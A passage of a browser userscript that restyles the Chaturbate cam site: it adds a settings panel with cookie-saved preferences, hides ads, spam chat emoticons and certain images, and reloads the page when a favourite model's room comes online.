  322.            //===================================================== Favorite Model Label for Input Box
  323.            var pick3 = document.createElement('INS');
  324.            var pickName = document.createTextNode('Choose a favorite model.');
  325.            pick3.setAttribute('style', 'position:absolute; top:110px; left:170px; text-decoration:none; z-index:1002;');
  326.            pick3.appendChild(pickName);
  327.            document.body.appendChild(pick3);
  328.            //===================================================== Favorite Model Input Box
  329.            var modelName = document.createElement('INPUT');
  330.            modelName.setAttribute('id', 'modelNameBox');
  331.            modelName.setAttribute('type', 'text');
  332.            modelName.setAttribute('value', color3);
  333.            modelName.setAttribute('style', 'position:absolute; top:120px; left:20px; text-decoration:none; z-index:1002;');
  334.            document.getElementById('colorForm').appendChild(modelName);
  335.            //===================================================== Font Name Label for Input Box
  336.            var pick4 = document.createElement('INS');
  337.            var pickFontName = document.createTextNode('Change Font Type');
  338.            pick4.setAttribute('style', 'position:absolute; top:155px; left:170px; text-decoration:none; z-index:1002;');
  339.            pick4.appendChild(pickFontName);
  340.            document.body.appendChild(pick4);
  341.            //===================================================== Font Name Combo Box
  342.            var pickFont = document.createElement('SELECT');
  343.            pickFont.setAttribute('style', 'position:absolute;top: 170px;left:20px;text-decoration:none;z-index:1002;');
  344.            pickFont.setAttribute('id', 'fontNameBox');
  345.            pickFont.setAttribute('type', 'option');
  346.            pickFont.setAttribute('elementtype', 'combobox');
  347.            pickFont.setAttribute('size', '1');
  348.            var pickOption = document.createElement('OPTION');
  349.            var pickOpt1 = document.createTextNode('Rockwell');//=====FIRST OPTION
  350.            pickOption.setAttribute('value', '1');
  351.            pickOption.appendChild(pickOpt1);
  352.            pickFont.appendChild(pickOption);
  353.  
  354.            var pickOption2 = document.createElement('OPTION');
  355.            var pickOpt2 = document.createTextNode('Tw Cen MT');//=====SECOND OPTION
  356.            pickOption2.setAttribute('value', '2');
  357.            pickOption2.appendChild(pickOpt2);
  358.            pickFont.appendChild(pickOption2);
  359.  
  360.            var pickOption3 = document.createElement('OPTION');
  361.            var pickOpt3 = document.createTextNode('Verdana');//=====THIRD OPTION
  362.            pickOption3.setAttribute('value', '3');
  363.            pickOption3.appendChild(pickOpt3);
  364.            pickFont.appendChild(pickOption3);
  365.  
  366.            document.getElementById('colorForm').appendChild(pickFont);
  367.            //===================================================== First checkbox label
  368.            var scroll = document.createElement('INS');
  369.            var scrollCheck = document.createTextNode('Lock room image in place.');
  370.            scroll.setAttribute('style', 'position:absolute; top:205px; left:170px; text-decoration:none; z-index:1002;');
  371.            scroll.appendChild(scrollCheck);
  372.            document.body.appendChild(scroll);
  373.            //===================================================== Checkbox
  374.            var chbox = document.createElement('INPUT');
  375.            if (varCheck == 'true') {
  376.                chbox.setAttribute('id', 'checkBox');
  377.                chbox.setAttribute('type', 'checkbox');
  378.                chbox.setAttribute('checked', 'true');
  379.                chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
  380.            }
  381.            else {
  382.                chbox.setAttribute('id', 'checkBox');
  383.                chbox.setAttribute('type', 'checkbox');
  384.                chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
  385.            }
  386.            document.getElementById('colorForm').appendChild(chbox);
  387.            //===================================================== Second checkbox label & Checkbox
  388.            var scroll2 = document.createElement('INS');
  389.            var scrollCheck2 = document.createTextNode('Lock navigation bar in place.');
  390.            scroll2.setAttribute('style', 'position:absolute; top:245px; left:170px; text-decoration:none; z-index:1002;');
  391.            scroll2.appendChild(scrollCheck2);
  392.            document.body.appendChild(scroll2);
  393.            var chbox2 = document.createElement('INPUT');
  394.            if (varCheck2 == 'true') {
  395.                chbox2.setAttribute('id', 'checkBox2');
  396.                chbox2.setAttribute('type', 'checkbox');
  397.                chbox2.setAttribute('checked', 'true');
  398.                chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
  399.            }
  400.            else {
  401.                chbox2.setAttribute('id', 'checkBox2');
  402.                chbox2.setAttribute('type', 'checkbox');
  403.                chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
  404.            }
  405.            document.getElementById('colorForm').appendChild(chbox2);
  406.            //===================================================== Insert Close and Save buttons on bottom
  407.            var save = document.createElement('A');
  408.            var close = document.createElement('A');
  409.            var saveTxt = document.createTextNode('Save');
  410.            var closeTxt = document.createTextNode('Close');
  411.            save.setAttribute('id', 'saveBut');
  412.            close.setAttribute('id', 'closeBut');
  413.            save.setAttribute('style', 'position:absolute; top:290px; left:364px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
  414.            close.setAttribute('style', 'position:absolute; top:290px; left:314px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
  415.            save.setAttribute('href', '#');
  416.            close.setAttribute('href', '#');
  417.            close.onclick = function() {
  418.                $('.jscolor').hide();
  419.                location.reload();
  420.            };
  421.            save.onclick = function() {
  422.                $('.jscolor').hide();
  423.                var color1 = document.getElementById('lightColor').value;
  424.                var color2 = document.getElementById('darkColor').value;
  425.                var color3 = document.getElementById('modelNameBox').value;
  426.                var color4 = document.getElementById('fontNameBox').value;
  427.                //===================================================== Check first checkbox from cookie
  428.                var varCheck = document.getElementById('checkBox').checked;
  429.                if (varCheck === true) {
  430.                    document.cookie = 'cb-chkbx=locked; expires=' + later.toUTCString() + '; path=/';
  431.                }
  432.                else {
  433.                    document.cookie = 'cb-chkbx=unlocked; expires=' + later.toUTCString() + '; path=/';
  434.                }
  435.                //===================================================== Check second checkbox from cookie
  436.                var varCheck2 = document.getElementById('checkBox2').checked;
  437.                if (varCheck2 === true) {
  438.                    document.cookie = 'cb-chkbx-2=locked; expires=' + later.toUTCString() + '; path=/';
  439.                }
  440.                else {
  441.                    document.cookie = 'cb-chkbx-2=unlocked; expires=' + later.toUTCString() + '; path=/';
  442.                }
  443.                //===================================================== Set color hex values in cookies
  444.                document.cookie = 'cb-color1=' + color1 + '; expires=' + later.toUTCString() + '; path=/';
  445.                document.cookie = 'cb-color2=' + color2 + '; expires=' + later.toUTCString() + '; path=/';
  446.                document.cookie = 'cb-color3=' + color3 + '; expires=' + later.toUTCString() + '; path=/';
  447.                if (color4 == 1) {
  448.                    document.cookie = 'cb-color4=' + "Rockwell" + '; expires=' + later.toUTCString() + '; path=/';
  449.                } else if (color4 == 2) {
  450.                    document.cookie = 'cb-color4=' + "Tw Cen MT" + '; expires=' + later.toUTCString() + '; path=/';
  451.                } else if (color4 == 3){
  452.                    document.cookie = 'cb-color4=' + "Verdana" + '; expires=' + later.toUTCString() + '; path=/';
  453.                }
  454.  
  455.                location.reload();
  456.            };
  457.            close.appendChild(closeTxt);
  458.            save.appendChild(saveTxt);
  459.            document.body.appendChild(close);
  460.            document.body.appendChild(save);
  461.        };
  462.        edit.appendChild(editTxt);
  463.        document.body.appendChild(edit);
  464.    });
  465. }
  466. //===================================================== Creates the SETTINGS Link only on these pages
  467. var versionTxt = document.URL;
  468. var locPathName = location.pathname;
  469. var chtBox = $('.chat-box');
  470. if ((locPathName === '/trans-cams/') || (locPathName === '/') || (versionTxt === 'https://chaturbate.com/')) {
  471.     var myGarbageCollector = setInterval(myTimer, 1000);
  472.     quickCheck();
  473. } else if (chtBox) {
  474.     var myGarbageCollector2 = setInterval(chatGraphics, 50000);//Chatbox exists, add timer to clean chat spam
  475.     var tTip = $('#tooltip-subject');
  476.     if (tTip) { tTip.remove(); }  //Remove the Room Subject Tooltip that sometimes gets stuck open
  477.     var nextcam = $( ".nextcam" );
  478.     if (nextcam) { nextcam.remove(); } //Remove SCAN cams and NEXT CAM tabs
  479. }
  480. //===================================================== Function to find annoying chat graphics
  481. function chatGraphics () {
  482.     var strTitle = [":notips", ":comeontipguys", ":tip", ":tokens", ":tipifyoulike", ":tipguyz", ":motivation" +
  483.     ":moretipsgreatshow", ":moreme", ":mmmh", ":tipguys", ":notipnoshow", ":plssendtip01" +
  484.     ":moretipmoreshow2", ":tipsshow", ":plsfollow01", ":transfrot", ":moretips1", ":150" +
  485.     ":tipsee", ":tokensforreqests", ":showtip", ":suckingdeep"];
  486.     for (var j=0;j<strTitle.length;j++){
  487.         var imageString = $('img[title="' + strTitle[j] + '"]');
  488.         if (imageString) {
  489.             imageString.remove();
  490.         }
  491.     }
  492. }
  493.  
  494. function addGlobalStyle(css) {
  495.     var head, style;
  496.     head = document.getElementsByTagName('head')[0];
  497.     if (!head) { return; }
  498.     style = document.createElement('style');
  499.     style.type = 'text/css';
  500.     style.innerHTML = css;
  501.     head.appendChild(style);
  502. }
  503.  
  504. addGlobalStyle('#header .ad {display:none!important;}' +
  505.     '.logo {background:url(\'https://greasyfork.org/system/screenshots/screenshots/000/003/216/thumb/logo-standard.png\') no-repeat!important;}' +
  506.     '#main .ad {display:none!important;}' +
  507.     '#botright {display:none!important;}' +
  508.     '#main .banner {display:none!important;}' +
  509.     '#close_entrance_terms {background-color:#' + color[0] + '!important;}' +
  510.     '#close_broadcast_terms {background-color:#' + color[0] + '!important;}' +
  511.     'a {color:#' + color[1] + '!important; outline-style:none!important; text-decoration:none!important;}' +
  512.     'a:hover {color:#777777!important;}' +
  513.     'body {background-color:#000000!important;}' +
  514.     '#header {background-image:http://deplist.weebly.com/uploads/6/1/9/1/61911901/7467455_orig.png!important; background-color:#' + color[0] + '!important;}' +
  515.     '#header .section {background-color:#' + color[0] + '!important;}' +
  516.     '#main .top-section p{margin:0 0 1px!important;}' +
  517.     '#main .top-section {border-bottom:1px solid #000000!important; border-bottom-width: thin!important; border-bottom-style: double!important; box-shadow: 0 5px 1px 6px #000000!important; padding:0px 19px 0 19px!important;}' +
  518.     '.sub-nav {display:inline-block;position:relative;top:0.5px;left:38%!important;min-width:275px;list-style:none;margin:0;padding:0;height:1%;overflow:hidden;font-family:\'Nyala\'!important;}' +
  519.     '#main .top-section .sub-nav {background-image:none!important;}' +
  520.     '#main .content {background-color:#' + color[0] + '!important; padding:5px 0px 14px 0!important;}' +
  521.     '#header .nav-bar {background-color:#' + color[1] + '!important; border-color:#cbcbcb!important;}' +
  522.     '#nav {font-family:Tw Cen MT!important; padding-bottom:5px!important;}' +
  523.     '#nav li a {color:#eeeeee!important;}' +
  524.     '#nav li a:hover {color:#' + color[0] + '!important;}' +
  525.     '#header .creat {font-family:\'Nyala\'!important; color:#cbcbcb!important; background-color:#FFFFFF!important; background-image:none!important; padding-left:2px!important; padding-bottom:5px!important; border-radius:0!important;}' +
  526.     '#main .top-section .sub-nav a {font-family:' + color4 + '!important; top:0px!important; left:38%!important; color:#003366!important; border-color:#000000!important; background-color:#ffffff!important; border-style: groove!important; border-width: 2px!important; text-shadow: .6px .3px 1px #000000!important; padding:2px 15px 1px!important;}' +
  527.     '#main .top-section .sub-nav a:hover {color:#e60000!important; top:0px!important; left:38%!important; background-color:#ffffff!important;cursor: auto;}' +
  528.     '#main .top-section .sub-nav .active a {color:#FF0000!important; top:0px!important; left:38%!important; background-color:#ffffff!important; }' +
  529.     '#main .top-section .actions li a {padding-left:10px!important; background-color:#' + color[0] + '!important; background-image:none!important; border-color:#888888!important;}' +
  530.     'strong {color:#131313!important;}' +
  531.     'h1, h2, h3 {color:#' + color[1] + '!important;}' +
  532.     '#main .content .endless_page_template {width:100%!important; margin:0 10px 0 32px!important;}' +
  533.     '.thumbnail_label_c {background-color:#181818!important;}' +
  534.     '.thumbnail_label_c_hd {background-color:#' + color[1] + '!important;}' +
  535.     '.thumbnail_label_transsexual {background-color:#ff0000!important;}' +
  536.     '.thumbnail_label_c_new {background-color:#545454!important;}' +
  537.     '#defchat .section .chat-holder .chat-box .users-list .text .color-p {color:#be6aff!important;}' +
  538.     '#defchat .section .chat-holder .chat-box .users-list .text .color-l {color:#804baa!important;}' +
  539.     '#defchat .section .chat-holder .chat-box .users-list .text .color-o {color:#dc5500!important;}' +
  540.     '#defchat .section .chat-holder .chat-box .users-list .text .color-m {color:#dc0000!important;}' +
  541.     '#defchat .section .chat-holder .chat-box .users-list .text .color-f {color:#00cf00!important;}' +
  542.     '#defchat .section .chat-holder .chat-box .users-list .text .color-tr {color:#000099!important;}' +
  543.     '#defchat .section .chat-holder .chat-box .users-list .text .color-t {color:#6699aa!important;}' +
  544.     '#defchat .section .chat-holder .chat-box .users-list .text .color-g {color:#666666!important;}' +
  545.     '#defchat .section .chat-holder .chat-box .chat-list .roommessagelabel {color:#' + color[1] + '!important;}' +
  546.     '.users-list, .settings-list, .chat-list {padding:0 11px 0 11px!important; width: auto!important;}' +
  547.     '#main .content .c-1 {width:100%!important; margin-right:0px!important; margin:6px!important;}' +
  548.     '.paging li a {background-color:#ffffff!important; border-color:#' + color[1] + '!important; background-image:none!important;}' +
  549.     '.paging li a:hover {background-color:#ffffff!important;}' +
  550.     '.paging .prev {border-radius:30px 0 0 30px!important;}' +
  551.     '.paging .next {border-radius:0 30px 30px 0!important;}' +
  552.     '.paging .endless_page_link {color:#181818!important;}' +
  553.     '.paging .active .endless_page_link {color:#' + color[1] + '!important; background-color:#ffffff!important;}' +
  554.     '#main .content .featured_blog_posts .blog_post .title_shell {background-image:none!important;}' +
  555.     '#main .content .featured_blog_posts .blog_post .title_shell .title {background-color:transparent!important;}' +
  556.     '.footer-holder {background-color:#eeeeee!important; background-image:none!important; border-top:2px solid #cbcbcb!important;}' +
  557.     '#jscontext .jscontextBtn {color:#' + color[1] + '!important;}' +
  558.     '#jscontext .jscontextBtn:hover {color:#eeeeee!important;}' +
  559.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send {background-color:#888888!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  560.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  561.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a:hover {color:#ffffff!important;}' +
  562.     '#defchat .section .chat-holder .chat-box .chat-form {margin-right:12px!important;}' +
  563.     '#defchat .info-user .headline .socials .button_share {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  564.     '#defchat .info-user .headline .socials .button_share a {background-image:none!important; text-shadow:none!important;}' +
  565.     '#defchat .info-user .headline .socials .button_follow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  566.     '#defchat .info-user .headline .socials .button_follow a {background-image:none!important; text-shadow:none!important;}' +
  567.     '#defchat .info-user .headline .socials .button_unfollow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  568.     '#defchat .info-user .headline .socials .button_unfollow a {background-image:none!important; text-shadow:none!important;}' +
  569.     '#defchat .section .video-box .tip_shell .green_button_tip {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  570.     '#defchat .section .video-box .tip_shell .green_button_tip .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  571.     '#defchat .section .video-box .tip_shell .green_button_tip .tip_button:hover {color:#ffffff!important;}' +
  572.     '#defchat .offline_tipping .green_button_tip_offline {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  573.     '#defchat .offline_tipping .green_button_tip_offline .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  574.     '#defchat .offline_tipping .green_button_tip_offline .tip_button:hover {color:#ffffff!important;}' +
  575.     '#defchat .section .video-box .tip_shell .goal_display .goal_display_table .dark_blue {background-color:#' + color[0] + '!important;}' +
  576.     '.follow_tooltip, .share_tooltip, #rate_tooltip, #rated_tooltip, #rate_dim_tooltip, #broadcaster_rating_tooltip {background-color:#eeeeee!important; border-color:#777777!important;}' +
  577.     '.follow_tooltip img, .share_tooltip img, #rate_tooltip img, #rated_tooltip img, #rate_dim_tooltip img, #broadcaster_rating_tooltip img {display:none!important;}' +
  578.     '#tabs_content_container dl dt {color:#' + color[1] + '!important;}' +
  579.     '#tabs_content_container .pics-description .photo_list .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
  580.     '#body_border .user_uploads .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
  581.     '#filter_search_form .button {background-color:#' + color[1] + '!important; background-image:none!important; padding-left:28px!important;}' +
  582.     '#filter_search_form .button:hover {text-decoration:none!important;}' +
  583.     '#defchat {width:auto!important;}' +
  584.     '.section {width:100%!important;}' +
  585.     '.block {margin-right:12px!important; border:1px ridge #000000!important; padding: 4px!important;}' +
  586.     '#login-box {border-color:#777777!important; z-index:2001!important;}' +
  587.     '#login-box .pagename {position:relative!important; top:-4px!important; left:-2px!important; font-family:\'trebuchet ms\'!important; color:#' + color[1] + '!important;}' +
  588.     '#login-box .button {padding-left:14px!important; color:#454545!important; background-color:#cbcbcb!important; background-image:none!important;}' +
  589.     '#login-box .button:hover {color:#eeeeee!important; background-color:#888888!important; text-decoration:none!important;}' +
  590.     '#user_information .top {background-color:#' + color[1] + '!important; border-radius:2px 2px 0 0!important; padding:5px 3px 4px 5px!important;}' +
  591.     '#user_information .top .username{display:inline-block;font:14px; font-family:\'Nyala\'!important;overflow:hidden;margin:0 12px 0 5px;max-width:125px;text-overflow:ellipsis;white-space:nowrap;position:relative;top:3px;}' +
  592.     '#user_information {position:absolute!important; top:-9px!important; right:0!important;}' +
  593.     '#user_information .top a {color:#eeeeee!important;}' +
  594.     '#user_information .top a:hover {color:#cbcbcb!important;}' +
  595.     '#user_information .tokencountlink {font-size:11px!important;}' +
  596.     '#user_information .bottom {border-color:#' + color[1] + '!important;}' +
  597.     '#apps_and_bots_table tr legend {color:#' + color[1] + '!important;}' +
  598.     '#leaderboard .number {color:#181818!important;}' +
  599.     '#leaderboard .position_1 {color:#' + color[1] + '!important;}' +
  600.     '#tag_table {border-color:#' + color[1] + '!important;}' +
  601.     '#tag_table .headers {background-color:#' + color[1] + '!important;}' +
  602.     '#tag_table .tag_row:nth-child(2n+1) {background-color:#' + color[0] + '!important;}' +
  603.     '#broadcaster_settings legend {color:#' + color[1] + '!important;}' +
  604.     '.button {color:#' + color[1] + '!important; text-decoration:none!important; background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important; padding:0 15px 2px 15px!important;}' +
  605.     '.button:hover {color:#131313!important;}' +
  606.     '#filter_search_form p .button {color:#cbcbcb!important; padding:2px 6px!important;}' +
  607.     '#filter_search_form p .button:hover {color:#e6e6e6!important;}' +
  608.     '#suggest_app img {display:none!important;}' +
  609.     'a.user_upload_preview {color:#181818!important;}' +
  610.     'a.user_upload_preview:hover {color:#777777!important;}' +
  611.     '.overlay_popup .formborder {border:2px solid #' + color[1] + '!important; border-radius:4px!important;}' +
  612.     '.overlay_popup .divider {display:none!important;}' +
  613.     '.overlay_popup .title {color:#' + color[1] + '!important;}' +
  614.     '.app_launch a {background-color:#cbcbcb!important;}' +
  615.     '.proposal_votes {background-color:#cbcbcb!important;}' +
  616.     '.related {color:#' + color[1] + '!important;}' +
  617.     '.document, .related {background-color:#' + color[0] + '!important;}' +
  618.     '.sphinxsidebar ul, .sphinxsidebar h4, .sphinxsidebar p, .footer {color:#777777!important;}' +
  619.     '.datatable, .datatable th {background-color:#' + color[1] + '!important;}' +
  620.     '.code {color:#' + color[1] + '!important;}' +
  621.     '.fixnav {position:fixed!important; left:0!important; top:0!important; width:100%!important; height:auto!important; z-index:999!important;}' +
  622.     '#login-overlay {z-index:2000!important;}' +
  623.     '#overlay {z-index:1001!important;}' +
  624.     '#entrance_terms, #broadcast_terms {z-index:1002!important;}' +
  625.     '.tip_popup img {display:none!important;}' +
  626.     '.tabs {background-color:#e6e6e6!important;}' +
  627.     '#app_title {color:#' + color[1] + '!important;}' +
  628.     'legend {color:#' + color[1] + '!important;}' +
  629.     '.share {background-color:#e6e6e6!important;}' +
  630.     '.blue, .ourtitle, .choiceclear {color:#' + color[1] + '!important;}');
  631. //===============================================
  632. //===============================================
  633. var getName = location.pathname;
  634. var latest = getName.slice(1,-1);
  635.  
  636. if (latest == 'tags') {
  637.     latest = '';
  638. }
  639.  
  640. var prof = latest.search('p/');
  641. if (prof === 0) {
  642.     latest = latest.replace('p/', '');
  643. }
  644.  
  645. var broad = latest.search('b/');
  646. if (broad === 0) {
  647.     latest = latest.replace('b/', '');
  648. }
  649.  
  650. var app = latest.search('app');
  651. if (app === 0) {
  652.     document.getElementById('verText').innerHTML = '';
  653.     document.getElementById('editBut').innerHTML = '';
  654. }
  655.  
  656. var apps = latest.search('apps');
  657. if (apps === 0) {
  658.     latest = latest.replace('apps', '');
  659.     document.getElementById('verText').innerHTML = '';
  660.     document.getElementById('editBut').innerHTML = '';
  661. }
  662.  
  663. var affiliates = latest.search('affiliates/api/onlinerooms');
  664. if (affiliates === 0) {
  665.     latest = latest.replace('affiliates/api/onlinerooms', '');
  666.     document.getElementById('verText').innerHTML = '';
  667.     document.getElementById('editBut').innerHTML = '';
  668. }
  669.  
  670. var feeds = latest.search('feed/latest');
  671. if (feeds === 0) {
  672.     latest = latest.replace('feed/latest', '');
  673.     document.getElementById('verText').innerHTML = '';
  674.     document.getElementById('editBut').innerHTML = '';
  675. }
  676.  
  677. var photovid = latest.search('photo_videos/');
  678. var tipping = latest.search('tipping/');
  679. var emoticons = latest.search('emoticons');
  680. if ((photovid === 0) || (tipping === 0) || (emoticons === 0)) {
  681.     document.getElementById('verText').innerHTML = '';
  682.     document.getElementById('editBut').innerHTML = '';
  683. }
  684.  
  685. var pic = document.createElement('IMG');
  686. pic.setAttribute('id', 'newImage');
  687. pic.setAttribute('src', 'https://roomimg.stream.highwebmedia.com/ri/' + latest + '.jpg');
  688. pic.setAttribute('style', 'position:' + posi + '; top:0; right:268px; border:1px solid #' + color[1] + '; width:95px; height:78px; z-index:1000;');
  689. pic.onload = function() {
  690.     if ((latest != '/propose_app') && (latest != '/proposals') && (latest != '/upload_app') && (latest != '/search') && (latest != 'emoticons')) {
  691.         document.body.appendChild(pic);
  692.     }
  693. };
  694. pic.onerror = function() {
  695.     pic.setAttribute('style', 'display:none;');
  696. };
  697.  
  698. var link = document.getElementsByTagName('a');
  699. for (i = 0; i < link.length; i++) {
  700.     if (link[i].href.indexOf('?url=') != -1) {
  701.         linkhref = unescape(link[i].href);
  702.         newlinkhref = linkhref.substring(linkhref.indexOf("?url=") + 5, linkhref.indexOf("&domain"));
  703.         link[i].href = newlinkhref;
  704.     }
  705. }
  706.  
  707. var broadcasting = '/b/' + latest + '/';
  708.  
  709. var onCheck = document.createElement('INS');
  710. var onTxt = document.createTextNode('');
  711. onCheck.setAttribute('id', 'checkOn');
  712. onCheck.setAttribute('style', 'display:none;');
  713. onCheck.appendChild(onTxt);
  714. document.body.appendChild(onCheck);
  715.  
  716. $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
  717.  
  718. setTimeout(function() {
  719.     var getOn = document.getElementById('checkOn').textContent;
  720.     var stripTags = getOn.search('Room is currently offline');
  721.     if (stripTags !== 0) {
  722.         return;
  723.     }
  724.     else {
  725.         setInterval(function() {
  726.             $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
  727.             setTimeout(function() {
  728.                 var reCheck = document.getElementById('checkOn').textContent;
  729.                 var reStrip = reCheck.search('Room is currently offline');
  730.                 if (reStrip === 0) {
  731.                     return;
  732.                 }
  733.                 else if (getName == broadcasting) {
  734.                     return;
  735.                 }
  736.                 else {
  737.                     location.reload();
  738.                 }
  739.             }, 5000);
  740.         }, 5000);
  741.     }
  742. }, 5000);
  743.  
  744. // =============================================================================
  745. // === Remove Thumbnail Preview Lock Icon to make Preview more Visible =========
  746. // =============================================================================
  747. pictures = document.getElementsByClassName('preview');
  748. if (pictures) {
  749.     for (i = 0; i < pictures.length; i++) {
  750.         if (pictures[i].getAttribute("alt") == "Locked") {
  751.             pictures[i].parentNode.removeChild(pictures[i]);
  752.         }
  753.     }
  754. }
  755. // =============================================================================
  756. // === Create Favorite Model Cam ===============================================
  757. // =============================================================================
  758. if (color3 !== '') {
  759.     if (latest == 'transsexual-cams') {
  760.         var chgAct = document.getElementsByClassName('sub-nav')[0].innerHTML;
  761.         var exCheck = chgAct.search('<li class="active">');
  762.         if (exCheck) {
  763.             chgAct = chgAct.replace('<li class="active">', '<li>');
  764.         }
  765.         var newEx = chgAct + '<li class="active"><a href="/' + color3 + '/">' + color3 + '</a></li>';
  766.         document.getElementsByClassName('sub-nav')[0].innerHTML = newEx;
  767.     } else if (getName == broadcasting) {
  768.         console.log('Broadcasting Interface Detected');
  769.     } else {
  770.         var getSub = document.getElementsByClassName('sub-nav')[0].innerHTML;
  771.         var addEx = getSub + '<li><a href="/' + color3 + '/">' + color3 + '</a></li>';
  772.         document.getElementsByClassName('sub-nav')[0].innerHTML = addEx;
  773.     }
  774. }
  775. var getSubAgain = document.getElementsByClassName('sub-nav')[0].innerHTML;
  776. var addExAgain = getSubAgain + '<li><a href="' + document.URL + '">' + 'REFRESH' + '</a></li>';
  777. document.getElementsByClassName('sub-nav')[0].innerHTML = addExAgain;
  778. // =============================================================================
  779. if (color4 === ''){
  780.     color4 = "Tw Cen MT"
  781. }
  782. // =============================================================================
  783. // === Remove Sections =========================================================
  784. // =============================================================================
  785. function removeEBP() {
  786.     MV_removeElementsByPath("//img[contains(@src, 'postimg.org')]");
  787.     MV_removeElementsByPath("//img[contains(@src, 'www.dmca.com/App_Themes/')]");
  788.     MV_removeElementsByPath("//img[contains(@src, 'http://s06.flagcounter.com')]");
  789.     MV_removeElementsByPath("//img[contains(@src, 'http://s09.flagcounter.com')]");
  790.     MV_removeElementsByPath("//img[contains(@src, 'http://25.media.tumblr.com')]");
  791.     MV_removeElementsByPath("//img[contains(@src, '4.bp.blogspot.com')]");
  792.     MV_removeElementsByPath("//img[contains(@src, 'https://3.bp.blogspot.com')]");
  793.     MV_removeElementsByPath("//img[contains(@src, 'https://2.bp.blogspot.com')]");
  794.     MV_removeElementsByPath("//img[contains(@src, 'https://1.bp.blogspot.com')]");
  795.     MV_removeElementsByPath("//img[contains(@src, 'ig-badge-48.png')]");
  796.     MV_removeElementsByPath("//img[contains(@src, 'dmca_protected')]");
  797.     MV_removeElementsByPath("//img[contains(@src, 'imgur')]");
  798.     MV_removeElementsByPath("//img[contains(@src, 'www.camfolk.info/')]");
  799.     MV_removeElementsByPath("//img[contains(@src, 'http://www.asocea.com')]");
  800.     MV_removeElementsByPath("//img[contains(@src, 'tinypic.com')]");
  801.     MV_removeElementsByPath("//img[contains(@src, 'photobucket.com')]");
  802.     MV_removeElementsByPath("//img[contains(@src, 'imageshack.com')]");
  803.     MV_removeElementsByPath("//img[contains(@src, 'ecx.images-amazon.com')]");
  804.     MV_removeElementsByPath("//img[contains(@src, 'dresden-stollen.com')]");
  805.     MV_removeElementsByPath("//img[contains(@src, 'hatchnorfolk.com')]");
  806.     MV_removeElementsByPath("//img[contains(@src, 'icons.iconarchive.com')]");
  807.     MV_removeElementsByPath("//img[contains(@src, 'googleusercontent.com')]");
  808.     MV_removeElementsByPath("//img[contains(@src, 'server.myspace-shack.com')]");
  809.     MV_removeElementsByPath("//img[contains(@src, 'images.dmca.com/Badges/')]");
  810.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-grn-btn100w.png')]");
  811.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-std-btn140w.png')]");
  812.     MV_removeElementsByPath("//img[contains(@src, 'dmca_normal.png')]");
  813.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-200w_a_zpsf5mn8hoq.png')]");
  814.     MV_removeElementsByPath("//img[contains(@src, '_dmca_premi_badge_2.png')]");
  815.     MV_removeElementsByPath("//img[contains(@src, 'amazon_jk.png')]");
  816.     MV_removeElementsByPath("//img[contains(@src, 'https://45.media.tumblr.com')]");
  817.     MV_removeElementsByPath("//img[contains(@src, 'picasion.com')]");
  818.     MV_removeElementsByPath("//img[contains(@src, 'glitterfy.com')]");
  819.     MV_removeElementsByPath("//img[contains(@style, 'width:400px; height:400px')]");
  820.     MV_removeElementsByPath("//img[contains(@style, 'width:100px; height:100px')]");
  821.     MV_removeElementsByPath("//img[contains(@style, 'width:64px; height:64px')]");
  822.     MV_removeElementsByPath("//img[contains(@style, 'width:62px; height:62px')]");
  823.     MV_removeElementsByPath("//img[contains(@style, 'width:60px; height:60px')]");
  824.     MV_removeElementsByPath("//img[contains(@style, 'width:55px; height:55px')]");
  825.     MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:50px')]");
  826.     MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:57px')]");
  827.     MV_removeElementsByPath("//img[contains(@style, 'width:48px; height:48px')]");
  828.     MV_removeElementsByPath("//img[contains(@style, 'width:43px; height:43px')]");
  829.     MV_removeElementsByPath("//a[contains(@href, 'width:50px; height:50px')]");
  830.     MV_removeElementsByPath("//a[contains(@href, 'http://i.imgur.com')]");
  831.     MV_removeElementsByPath("//a[contains(@href, 'http://imgur.com')]");
  832.     MV_removeElementsByPath("//a[contains(@href, 'amateurmatch')]");
  833.     MV_removeElementsByPath("//a[contains(@href, 'amazon')]");
  834.     MV_removeElementsByPath("//a[contains(@href, '/tags/')]");
  835.     MV_removeElementsByPath("//a[contains(@href, 'https://twitter.com/')]");
  836.     MV_removeElementsByPath("//a[contains(@href, 'instagram.com/')]");
  837.     MV_removeElementsByPath("//a[@href='/contest/details/']");
  838.     //MV_removeElementsByPath("//a[@href='/male-cams/']");
  839.     //MV_removeElementsByPath("//a[@href='/female-cams/']");
  840.     MV_removeElementsByPath("//a[@href='/couple-cams/']");
  841.     //MV_removeElementsByPath("//a[@href='/spy-on-cams/']");
  842.     MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='/tipping/free_tokens/']");
